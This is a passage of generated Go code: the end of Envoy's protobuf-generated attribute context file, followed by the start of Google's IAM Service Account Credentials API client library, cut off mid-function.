`protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"` Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` Path string `protobuf:"bytes,4,opt,name=path,proto3" json:"path,omitempty"` Host string `protobuf:"bytes,5,opt,name=host,proto3" json:"host,omitempty"` Scheme string `protobuf:"bytes,6,opt,name=scheme,proto3" json:"scheme,omitempty"` Query string `protobuf:"bytes,7,opt,name=query,proto3" json:"query,omitempty"` Fragment string `protobuf:"bytes,8,opt,name=fragment,proto3" json:"fragment,omitempty"` Size int64 `protobuf:"varint,9,opt,name=size,proto3" json:"size,omitempty"` Protocol string `protobuf:"bytes,10,opt,name=protocol,proto3" json:"protocol,omitempty"` Body string `protobuf:"bytes,11,opt,name=body,proto3" json:"body,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AttributeContext_HttpRequest) Reset() { *m = AttributeContext_HttpRequest{} } func (m *AttributeContext_HttpRequest) String() string { return proto.CompactTextString(m) } func (*AttributeContext_HttpRequest) ProtoMessage() {} func (*AttributeContext_HttpRequest) Descriptor() ([]byte, []int) { return fileDescriptor_000310fa99e78275, []int{0, 2} } func (m *AttributeContext_HttpRequest) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AttributeContext_HttpRequest.Unmarshal(m, b) } func (m *AttributeContext_HttpRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AttributeContext_HttpRequest.Marshal(b, m, deterministic) } func (m *AttributeContext_HttpRequest) XXX_Merge(src proto.Message) { xxx_messageInfo_AttributeContext_HttpRequest.Merge(m, src) } func (m *AttributeContext_HttpRequest) XXX_Size() int { return xxx_messageInfo_AttributeContext_HttpRequest.Size(m) } func (m *AttributeContext_HttpRequest) XXX_DiscardUnknown() { xxx_messageInfo_AttributeContext_HttpRequest.DiscardUnknown(m) } var xxx_messageInfo_AttributeContext_HttpRequest proto.InternalMessageInfo func (m *AttributeContext_HttpRequest) GetId() string { if m != nil { return m.Id } return "" } func (m *AttributeContext_HttpRequest) GetMethod() string { if m != nil { return m.Method } return "" } func (m *AttributeContext_HttpRequest) GetHeaders() map[string]string { if m != nil { return m.Headers } return nil } func (m *AttributeContext_HttpRequest) GetPath() string { if m != nil { return m.Path } return "" } func (m *AttributeContext_HttpRequest) GetHost() string { if m != nil { return m.Host } return "" } func (m *AttributeContext_HttpRequest) GetScheme() string { if m != nil { return m.Scheme } return "" } func (m *AttributeContext_HttpRequest) GetQuery() string { if m != nil { return m.Query } return "" } func (m *AttributeContext_HttpRequest) GetFragment() string { if m != nil { return m.Fragment } return "" } func (m *AttributeContext_HttpRequest) GetSize() int64 { if m != nil { return m.Size } return 0 } func (m *AttributeContext_HttpRequest) GetProtocol() string { if m != nil { return m.Protocol } return "" } func (m *AttributeContext_HttpRequest) GetBody() string { if m != nil { return m.Body } return "" } func init()
func init() { proto.RegisterFile("envoy/service/auth/v3alpha/attribute_context.proto", fileDescriptor_000310fa99e78275) } var fileDescriptor_000310fa99e78275 = []byte{ // 727 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x9c, 0x55, 0x5d, 0x4e, 0x1b, 0x49, 0x10, 0x96, 0x7f, 0xb0, 0x71, 0x19, 0xed, 0xb2, 0xad, 0x5d, 0x34, 0x1a, 0xad, 0x76, 0x1d, 0x12, 0x25, 0x96, 0x22, 0x66, 0x12, 0x43, 0x24, 0xb0, 0x92, 0x07, 0x20, 0x48, 0x44, 0x22, 0x08, 0x4d, 0x92, 0x67, 0xd4, 0x9e, 0x29, 0x7b, 0x5a, 0xb1, 0xa7, 0x87, 0xee, 0x1e, 0x0b, 0xe7, 0x04, 0x39, 0x43, 0x6e, 0x90, 0x4b, 0xe4, 0x25, 0xca, 0x4d, 0x72, 0x90, 0xa8, 0x7f, 0x06, 0x2c, 0x04, 0x04, 0xf3, 0x44, 0x57, 0x4f, 0x7d, 0x5f, 0x57, 0x7d, 0x5f, 0x15, 0x86, 0x1e, 0x66, 0x53, 0x3e, 0x0b, 0x25, 0x8a, 0x29, 0x8b, 0x31, 0xa4, 0x85, 0x4a, 0xc3, 0xe9, 0x26, 0x1d, 0xe7, 0x29, 0x0d, 0xa9, 0x52, 0x82, 0x0d, 0x0a, 0x85, 0xa7, 0x31, 0xcf, 0x14, 0x9e, 0xab, 0x20, 0x17, 0x5c, 0x71, 0xe2, 0x1b, 0x4c, 0xe0, 0x30, 0x81, 0xc6, 0x04, 0x0e, 0xe3, 0x3f, 0xb1, 0x7c, 0x31, 0xcf, 0x86, 0x6c, 0x14, 0xc6, 0x5c, 0xe0, 0x25, 0x5d, 0x92, 0x08, 0x94, 0xd2, 0x92, 0xf8, 0x8f, 0x6e, 0x4e, 0x1c, 0x50, 0x89, 0x2e, 0xeb, 0xff, 0x11, 0xe7, 0xa3, 0x31, 0x86, 0x26, 0x1a, 0x14, 0xc3, 0x50, 0xb1, 0x09, 0x4a, 0x45, 0x27, 0xb9, 0x4b, 0x78, 0x50, 0x24, 0x39, 0x0d, 0x69, 0x96, 0x71, 0x45, 0x15, 0xe3, 0x99, 0x0c, 0xa7, 0x28, 0x24, 0xe3, 0x19, 0xcb, 0x46, 0x36, 0x65, 0xfd, 0xeb, 0x0a, 0xac, 0xee, 0x96, 0xad, 0xec, 0xdb, 0x4e, 0xc8, 0x1b, 0x68, 0x48, 0x5e, 0x88, 0x18, 0xbd, 0x4a, 0xa7, 0xd2, 0x6d, 0xf7, 0x9e, 0x07, 0x37, 0x37, 0x15, 0x5c, 0x45, 0x07, 0x27, 0x88, 0x22, 0x72, 0x04, 0xe4, 0x1d, 0xb4, 0x13, 0x94, 0x8a, 0x65, 0xa6, 0x00, 0xaf, 0x7a, 0x5f, 0xbe, 0x79, 0x16, 0x72, 0x0c, 0x4d, 0x81, 0x67, 0x05, 0x4a, 0xe5, 0xd5, 0x0d, 0xe1, 0xd6, 0x42, 0x84, 0x91, 0xc5, 0x46, 0x25, 0x09, 0x11, 0x40, 0x9c, 0x89, 0xa7, 0x78, 0xae, 0x30, 0xd3, 0x12, 0x49, 0x0f, 0x3a, 0xb5, 0x6e, 0xbb, 0xb7, 0xbf, 0x10, 0xb5, 0xfb, 0x7b, 0x70, 0xc1, 0x72, 0x90, 0x29, 0x31, 0x8b, 0xfe, 0x8a, 0xaf, 0xde, 0x93, 0x63, 0x58, 0x9d, 0xa0, 0xa2, 0x09, 0x55, 0xb4, 0x9c, 0x20, 0xaf, 0x6d, 0x9a, 0x79, 0xe8, 0x5e, 0xb4, 0xee, 0x07, 0xda, 0xfd, 0x8b, 0x07, 0xdf, 0x3a, 0x48, 0xf4, 0x67, 0x09, 0x76, 0x2f, 0xfa, 0x3f, 0xab, 0x50, 0xd7, 0x4a, 0x91, 0x97, 0xd0, 0x74, 0xc3, 0xe4, 0xdc, 0x5b, 0xbf, 0x85, 0x6f, 0xd7, 0x66, 0x46, 0x25, 0x84, 0x78, 0xd0, 0x74, 0x9d, 0x1a, 0xaf, 0x5a, 0x51, 0x19, 0x92, 0x0f, 0xd0, 0x18, 0xd3, 0x01, 0x8e, 0xa5, 0x57, 0x33, 0xc2, 0xbc, 0x5a, 0xd8, 0xc4, 0xe0, 0xc8, 0xe0, 0xad, 0x24, 0x8e, 0x8c, 0xfc, 0x0b, 0xad, 0x5c, 0xb0, 0x2c, 0x66, 0x39, 0x1d, 0x1b, 0x37, 0x5b, 0xd1, 0xe5, 0x05, 0xe9, 0x40, 0x3b, 0x46, 0xa1, 0xd8, 0x90, 0xc5, 0x54, 0xa1, 0xb7, 0x64, 0xbe, 0xcf, 0x5f, 0xf9, 0x3b, 0xd0, 0x9e, 0xa3, 0x25, 0xab, 0x50, 0xfb, 0x88, 0x33, 0xd3, 0x79, 0x2b, 0xd2, 0x47, 0xf2, 0x37, 0x2c, 0x4d, 0xe9, 0xb8, 0x28, 0xfb, 0xb1, 0x41, 0xbf, 0xba, 0x5d, 0xe9, 0xf7, 0xbe, 0xfc, 0xf8, 0xfc, 0xdf, 0x06, 0x3c, 0xbd, 0xae, 0x8f, 0xde, 0xf5, 0x2d, 0xf8, 0xdf, 0x2a, 0xd0, 0x74, 0xf3, 0x43, 0x02, 0xa8, 0xeb, 0x8d, 0x73, 0x32, 0xfb, 0x81, 0x5d, 0xc7, 0xa0, 0x5c, 0xc7, 0xe0, 0x7d, 0xb9, 0x8e, 0x91, 0xc9, 0x23, 0x47, 0x50, 0x4f, 0x95, 0xca, 0xdd, 0x12, 0x6c, 0x2f, 0xa4, 0xdf, 0xa1, 0x52, 0x79, 0x39, 0xb7, 0x86, 0xa5, 0xff, 0x42, 0x57, 0xff, 0x0c, 0x82, 0x3b, 0x56, 0xef, 0xc0, 0xfe, 0xf7, 0x1a, 0xb4, 0xe7, 0xc8, 0xc8, 0x1f, 0x50, 0x65, 0x89, 0xd3, 0xab, 0xca, 0x12, 0xb2, 0x06, 0x8d, 0x09, 0xaa, 0x94, 0x27, 0x4e, 0x2f, 0x17, 0x91, 0x53, 0x68, 0xa6, 0x48, 0x13, 0x14, 0xa5, 0xff, 0x07, 0xf7, 0xad, 0x3f, 0x38, 0xb4, 0x3c, 0x76, 0x0e, 0x4a, 0x56, 0x42, 0xa0, 0x9e, 0x53, 0x95, 0xba, 0x19, 0x30, 0x67, 0x7d, 0x97, 0x72, 0xa9, 0x9c, 0xef, 0xe6, 0xac, 0x0b, 0x94, 0x71, 0x8a, 0x13, 0xf4, 0x1a, 0xb6, 0x40, 0x1b, 0x69, 0x9f, 0xcf, 0x0a, 0x14, 0x33, 0xaf, 0x69, 0x7d, 0x36, 0x01, 0xf1, 0x61, 0x79, 0x28, 0xe8, 0x68, 0x82, 0x99, 0xf2, 0x96, 0xcd, 0x87, 0x8b, 0x58, 0xb3, 0x4b, 0xf6, 0x09, 0xbd, 0x56, 0xa7, 0xd2, 0xad, 0x45, 0xe6, 0xac, 0xf3, 0x8d, 0x7f, 0x31, 0x1f, 0x7b, 0x60, 0xf3, 0xcb, 0x58, 0xe7, 0x0f, 0x78, 0x32, 0x33, 0x6b, 0xda, 0x8a, 0xcc, 0xd9, 0xef, 0xc3, 0xca, 0x7c, 0x3b, 0x0b, 0xcd, 0xdf, 0x8e, 0x76, 0x70, 0xcb, 0xfd, 0xca, 0xfc, 0xde, 0xc1, 0x39, 0x09, 0xfd, 0xd7, 0xb0, 0x76, 0xfd, 0xbf, 0x9a, 0x85, 0x0a, 0xd8, 0xd0, 0x05, 0x74, 0xe1, 0xf1, 0xdd, 0x0a, 0xd8, 0xdb, 0x87, 0x2e, 0xe3, 0xd6, 0xf5, 0x5c, 0xf0, 0xf3, 0xd9, 0x2d, 0x03, 0xb0, 0xf7, 0xcf, 0x55, 0xf4, 0x89, 0x56, 0xf1, 0xa4, 0x32, 0x68, 0x18, 0x39, 0x37, 0x7f, 0x05, 0x00, 0x00, 0xff, 0xff, 0x08, 0x08, 0xe9, 0x9b, 0x5c, 0x07, 0x00, 0x00, }
{ proto.RegisterType((*AttributeContext)(nil), "envoy.service.auth.v3alpha.AttributeContext") proto.RegisterMapType((map[string]string)(nil), "envoy.service.auth.v3alpha.AttributeContext.ContextExtensionsEntry") proto.RegisterType((*AttributeContext_Peer)(nil), "envoy.service.auth.v3alpha.AttributeContext.Peer") proto.RegisterMapType((map[string]string)(nil), "envoy.service.auth.v3alpha.AttributeContext.Peer.LabelsEntry") proto.RegisterType((*AttributeContext_Request)(nil), "envoy.service.auth.v3alpha.AttributeContext.Request") proto.RegisterType((*AttributeContext_HttpRequest)(nil), "envoy.service.auth.v3alpha.AttributeContext.HttpRequest") proto.RegisterMapType((map[string]string)(nil), "envoy.service.auth.v3alpha.AttributeContext.HttpRequest.HeadersEntry") }
iamcredentials-gen.go
// Copyright 2020 Google LLC. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Code generated file. DO NOT EDIT. // Package iamcredentials provides access to the IAM Service Account Credentials API. // // For product documentation, see: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials // // Creating a client // // Usage example: // // import "google.golang.org/api/iamcredentials/v1" // ... // ctx := context.Background() // iamcredentialsService, err := iamcredentials.NewService(ctx) // // In this example, Google Application Default Credentials are used for authentication. // // For information on how to create and obtain Application Default Credentials, see https://developers.google.com/identity/protocols/application-default-credentials. // // Other authentication options // // To use an API key for authentication (note: some APIs do not support API keys), use option.WithAPIKey: // // iamcredentialsService, err := iamcredentials.NewService(ctx, option.WithAPIKey("AIza...")) // // To use an OAuth token (e.g., a user token obtained via a three-legged OAuth flow), use option.WithTokenSource: // // config := &oauth2.Config{...} // // ... // token, err := config.Exchange(ctx, ...) // iamcredentialsService, err := iamcredentials.NewService(ctx, option.WithTokenSource(config.TokenSource(ctx, token))) // // See https://godoc.org/google.golang.org/api/option/ for details on options. package iamcredentials // import "google.golang.org/api/iamcredentials/v1" import ( "bytes" "context" "encoding/json" "errors" "fmt" "io" "net/http" "net/url" "strconv" "strings" googleapi "google.golang.org/api/googleapi" gensupport "google.golang.org/api/internal/gensupport" option "google.golang.org/api/option" internaloption "google.golang.org/api/option/internaloption" htransport "google.golang.org/api/transport/http" ) // Always reference these packages, just in case the auto-generated code // below doesn't. var _ = bytes.NewBuffer var _ = strconv.Itoa var _ = fmt.Sprintf var _ = json.NewDecoder var _ = io.Copy var _ = url.Parse var _ = gensupport.MarshalJSON var _ = googleapi.Version var _ = errors.New var _ = strings.Replace var _ = context.Canceled var _ = internaloption.WithDefaultEndpoint const apiId = "iamcredentials:v1" const apiName = "iamcredentials" const apiVersion = "v1" const basePath = "https://iamcredentials.googleapis.com/" const mtlsBasePath = "https://iamcredentials.mtls.googleapis.com/" // OAuth2 scopes used by this API. const ( // View and manage your data across Google Cloud Platform services CloudPlatformScope = "https://www.googleapis.com/auth/cloud-platform" ) // NewService creates a new Service. func NewService(ctx context.Context, opts ...option.ClientOption) (*Service, error) { scopesOption := option.WithScopes( "https://www.googleapis.com/auth/cloud-platform", ) // NOTE: prepend, so we don't override user-specified scopes. opts = append([]option.ClientOption{scopesOption}, opts...) opts = append(opts, internaloption.WithDefaultEndpoint(basePath)) opts = append(opts, internaloption.WithDefaultMTLSEndpoint(mtlsBasePath)) client, endpoint, err := htransport.NewClient(ctx, opts...) if err != nil { return nil, err } s, err := New(client) if err != nil { return nil, err } if endpoint != "" { s.BasePath = endpoint } return s, nil } // New creates a new Service. It uses the provided http.Client for requests. // // Deprecated: please use NewService instead. // To provide a custom HTTP client, use option.WithHTTPClient. // If you are using google.golang.org/api/googleapis/transport.APIKey, use option.WithAPIKey with NewService instead. func New(client *http.Client) (*Service, error) { if client == nil { return nil, errors.New("client is nil") } s := &Service{client: client, BasePath: basePath} s.Projects = NewProjectsService(s) return s, nil } type Service struct { client *http.Client BasePath string // API endpoint base URL UserAgent string // optional additional User-Agent fragment Projects *ProjectsService } func (s *Service) userAgent() string { if s.UserAgent == "" { return googleapi.UserAgent } return googleapi.UserAgent + " " + s.UserAgent } func NewProjectsService(s *Service) *ProjectsService { rs := &ProjectsService{s: s} rs.ServiceAccounts = NewProjectsServiceAccountsService(s) return rs } type ProjectsService struct { s *Service ServiceAccounts *ProjectsServiceAccountsService } func NewProjectsServiceAccountsService(s *Service) *ProjectsServiceAccountsService { rs := &ProjectsServiceAccountsService{s: s} return rs } type ProjectsServiceAccountsService struct { s *Service } type GenerateAccessTokenRequest struct { // Delegates: The sequence of service accounts in a delegation chain. // Each service account must be granted the // `roles/iam.serviceAccountTokenCreator` role on its next service // account in the chain. The last service account in the chain must be // granted the `roles/iam.serviceAccountTokenCreator` role on the // service account that is specified in the `name` field of the request. // The delegates must have the following format: // `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` // wildcard character is required; replacing it with a project ID is // invalid. Delegates []string `json:"delegates,omitempty"` // Lifetime: The desired lifetime duration of the access token in // seconds. By default, the maximum allowed value is 1 hour. To set a // lifetime of up to 12 hours, you can add the service account as an // allowed value in an Organization Policy that enforces the // `constraints/iam.allowServiceAccountCredentialLifetimeExtension` // constraint. See detailed instructions at // https://cloud.google.com/iam/help/credentials/lifetime If a value is // not specified, the token's lifetime will be set to a default value of // 1 hour. Lifetime string `json:"lifetime,omitempty"` // Scope: Required. Code to identify the scopes to be included in the // OAuth 2.0 access token. See // https://developers.google.com/identity/protocols/googlescopes for // more information. At least one value required. Scope []string `json:"scope,omitempty"` // ForceSendFields is a list of field names (e.g. "Delegates") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Delegates") to include in // API requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *GenerateAccessTokenRequest) MarshalJSON() ([]byte, error) { type NoMethod GenerateAccessTokenRequest raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type GenerateAccessTokenResponse struct { // AccessToken: The OAuth 2.0 access token. AccessToken string `json:"accessToken,omitempty"` // ExpireTime: Token expiration time. The expiration time is always set. ExpireTime string `json:"expireTime,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "AccessToken") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "AccessToken") to include // in API requests with the JSON null value. By default, fields with // empty values are omitted from API requests. However, any field with // an empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *GenerateAccessTokenResponse) MarshalJSON() ([]byte, error) { type NoMethod GenerateAccessTokenResponse raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type GenerateIdTokenRequest struct { // Audience: Required. The audience for the token, such as the API or // account that this token grants access to. Audience string `json:"audience,omitempty"` // Delegates: The sequence of service accounts in a delegation chain. // Each service account must be granted the // `roles/iam.serviceAccountTokenCreator` role on its next service // account in the chain. The last service account in the chain must be // granted the `roles/iam.serviceAccountTokenCreator` role on the // service account that is specified in the `name` field of the request. // The delegates must have the following format: // `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` // wildcard character is required; replacing it with a project ID is // invalid. Delegates []string `json:"delegates,omitempty"` // IncludeEmail: Include the service account email in the token. If set // to `true`, the token will contain `email` and `email_verified` // claims. IncludeEmail bool `json:"includeEmail,omitempty"` // ForceSendFields is a list of field names (e.g. "Audience") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Audience") to include in // API requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *GenerateIdTokenRequest) MarshalJSON() ([]byte, error) { type NoMethod GenerateIdTokenRequest raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type GenerateIdTokenResponse struct { // Token: The OpenId Connect ID token. Token string `json:"token,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "Token") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Token") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *GenerateIdTokenResponse) MarshalJSON() ([]byte, error) { type NoMethod GenerateIdTokenResponse raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type SignBlobRequest struct { // Delegates: The sequence of service accounts in a delegation chain. // Each service account must be granted the // `roles/iam.serviceAccountTokenCreator` role on its next service // account in the chain. The last service account in the chain must be // granted the `roles/iam.serviceAccountTokenCreator` role on the // service account that is specified in the `name` field of the request. // The delegates must have the following format: // `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` // wildcard character is required; replacing it with a project ID is // invalid. Delegates []string `json:"delegates,omitempty"` // Payload: Required. The bytes to sign. Payload string `json:"payload,omitempty"` // ForceSendFields is a list of field names (e.g. "Delegates") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Delegates") to include in // API requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *SignBlobRequest) MarshalJSON() ([]byte, error) { type NoMethod SignBlobRequest raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type SignBlobResponse struct { // KeyId: The ID of the key used to sign the blob. The key used for // signing will remain valid for at least 12 hours after the blob is // signed. To verify the signature, you can retrieve the public key in // several formats from the following endpoints: - RSA public key // wrapped in an X.509 v3 certificate: // `https://www.googleapis.com/service_accounts/v1/metadata/x509/{ACCOUNT // _EMAIL}` - Raw key in JSON format: // `https://www.googleapis.com/service_accounts/v1/metadata/raw/{ACCOUNT_ // EMAIL}` - JSON Web Key (JWK): // `https://www.googleapis.com/service_accounts/v1/metadata/jwk/{ACCOUNT_ // EMAIL}` KeyId string `json:"keyId,omitempty"` // SignedBlob: The signature for the blob. Does not include the original // blob. After the key pair referenced by the `key_id` response field // expires, Google no longer exposes the public key that can be used to // verify the blob. As a result, the receiver can no longer verify the // signature. SignedBlob string `json:"signedBlob,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "KeyId") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "KeyId") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *SignBlobResponse) MarshalJSON() ([]byte, error) { type NoMethod SignBlobResponse raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type SignJwtRequest struct { // Delegates: The sequence of service accounts in a delegation chain. // Each service account must be granted the // `roles/iam.serviceAccountTokenCreator` role on its next service // account in the chain. The last service account in the chain must be // granted the `roles/iam.serviceAccountTokenCreator` role on the // service account that is specified in the `name` field of the request. // The delegates must have the following format: // `projects/-/serviceAccounts/{ACCOUNT_EMAIL_OR_UNIQUEID}`. The `-` // wildcard character is required; replacing it with a project ID is // invalid. Delegates []string `json:"delegates,omitempty"` // Payload: Required. The JWT payload to sign. Must be a serialized JSON // object that contains a JWT Claims Set. For example: `{"sub": // "[email protected]", "iat": 313435}` If the JWT Claims Set contains an // expiration time (`exp`) claim, it must be an integer timestamp that // is not in the past and no more than 12 hours in the future. Payload string `json:"payload,omitempty"` // ForceSendFields is a list of field names (e.g. "Delegates") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Delegates") to include in // API requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *SignJwtRequest) MarshalJSON() ([]byte, error) { type NoMethod SignJwtRequest raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type SignJwtResponse struct { // KeyId: The ID of the key used to sign the JWT. The key used for // signing will remain valid for at least 12 hours after the JWT is // signed. To verify the signature, you can retrieve the public key in // several formats from the following endpoints: - RSA public key // wrapped in an X.509 v3 certificate: // `https://www.googleapis.com/service_accounts/v1/metadata/x509/{ACCOUNT // _EMAIL}` - Raw key in JSON format: // `https://www.googleapis.com/service_accounts/v1/metadata/raw/{ACCOUNT_ // EMAIL}` - JSON Web Key (JWK): // `https://www.googleapis.com/service_accounts/v1/metadata/jwk/{ACCOUNT_ // EMAIL}` KeyId string `json:"keyId,omitempty"` // SignedJwt: The signed JWT. Contains the automatically generated // header; the client-supplied payload; and the signature, which is // generated using the key referenced by the `kid` field in the header. // After the key pair referenced by the `key_id` response field expires, // Google no longer exposes the public key that can be used to verify // the JWT. As a result, the receiver can no longer verify the // signature. SignedJwt string `json:"signedJwt,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "KeyId") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "KeyId") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *SignJwtResponse) MarshalJSON() ([]byte, error) { type NoMethod SignJwtResponse raw := NoMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } // method id "iamcredentials.projects.serviceAccounts.generateAccessToken": type ProjectsServiceAccountsGenerateAccessTokenCall struct { s *Service name string generateaccesstokenrequest *GenerateAccessTokenRequest urlParams_ gensupport.URLParams ctx_ context.Context header_ http.Header } // GenerateAccessToken: Generates an OAuth 2.0 access token for a // service account. func (r *ProjectsServiceAccountsService) GenerateAccessToken(name string, generateaccesstokenrequest *GenerateAccessTokenRequest) *ProjectsServiceAccountsGenerateAccessTokenCall { c := &ProjectsServiceAccountsGenerateAccessTokenCall{s: r.s, urlParams_: make(gensupport.URLParams)} c.name = name c.generateaccesstokenrequest = generateaccesstokenrequest return c } // Fields allows partial responses to be retrieved. See // https://developers.google.com/gdata/docs/2.0/basics#PartialResponse // for more information. func (c *ProjectsServiceAccountsGenerateAccessTokenCall) Fields(s ...googleapi.Field) *ProjectsServiceAccountsGenerateAccessTokenCall { c.urlParams_.Set("fields", googleapi.CombineFields(s)) return c } // Context sets the context to be used in this call's Do method. Any // pending HTTP request will be aborted if the provided context is // canceled. func (c *ProjectsServiceAccountsGenerateAccessTokenCall) Context(ctx context.Context) *ProjectsServiceAccountsGenerateAccessTokenCall { c.ctx_ = ctx return c } // Header returns an http.Header that can be modified by the caller to // add HTTP headers to the request. func (c *ProjectsServiceAccountsGenerateAccessTokenCall) Header() http.Header { if c.header_ == nil { c.header_ = make(http.Header) } return c.header_ } func (c *ProjectsServiceAccountsGenerateAccessTokenCall) doRequest(alt string) (*http.Response, error) { reqHeaders := make(http.Header) reqHeaders.Set("x-goog-api-client", "gl-go/"+gensupport.GoVersion()+" gdcl/20201103") for k, v := range c.header_ { reqHeaders[k] = v } reqHeaders.Set("User-Agent", c.s.userAgent()) var body io.Reader = nil body, err := googleapi.WithoutDataWrapper.JSONReader(c.generateaccesstokenrequest) if err != nil { return nil, err } reqHeaders.Set("Content-Type", "application/json") c.urlParams_.Set("alt", alt) c.urlParams_.Set("prettyPrint", "false") urls := googleapi.ResolveRelative(c.s.BasePath, "v1/{+name}:generateAccessToken") urls += "?" + c.urlParams_.Encode() req, err := http.NewRequest("POST", urls, body) if err != nil { return nil, err } req.Header = reqHeaders googleapi.Expand(req.URL, map[string]string{ "name": c.name, }) return gensupport.SendRequest(c.ctx_, c.s.client, req) } // Do executes the "iamcredentials.projects.serviceAccounts.generateAccessToken" call. // Exactly one of *GenerateAccessTokenResponse or error will be non-nil. // Any non-2xx status code is an error. Response headers are in either // *GenerateAccessTokenResponse.ServerResponse.Header or (if a response // was returned at all) in error.(*googleapi.Error).Header. Use // googleapi.IsNotModified to check whether the returned error was // because http.StatusNotModified was returned. func (c *ProjectsServiceAccountsGenerateAccessTokenCall) Do(opts ...googleapi.CallOption) (*GenerateAccessTokenResponse, error) { gensupport.SetOptions(c.urlParams_, opts...) res, err := c.doRequest("json") if res != nil && res.StatusCode == http.StatusNotModified { if res.Body != nil { res.Body.Close() 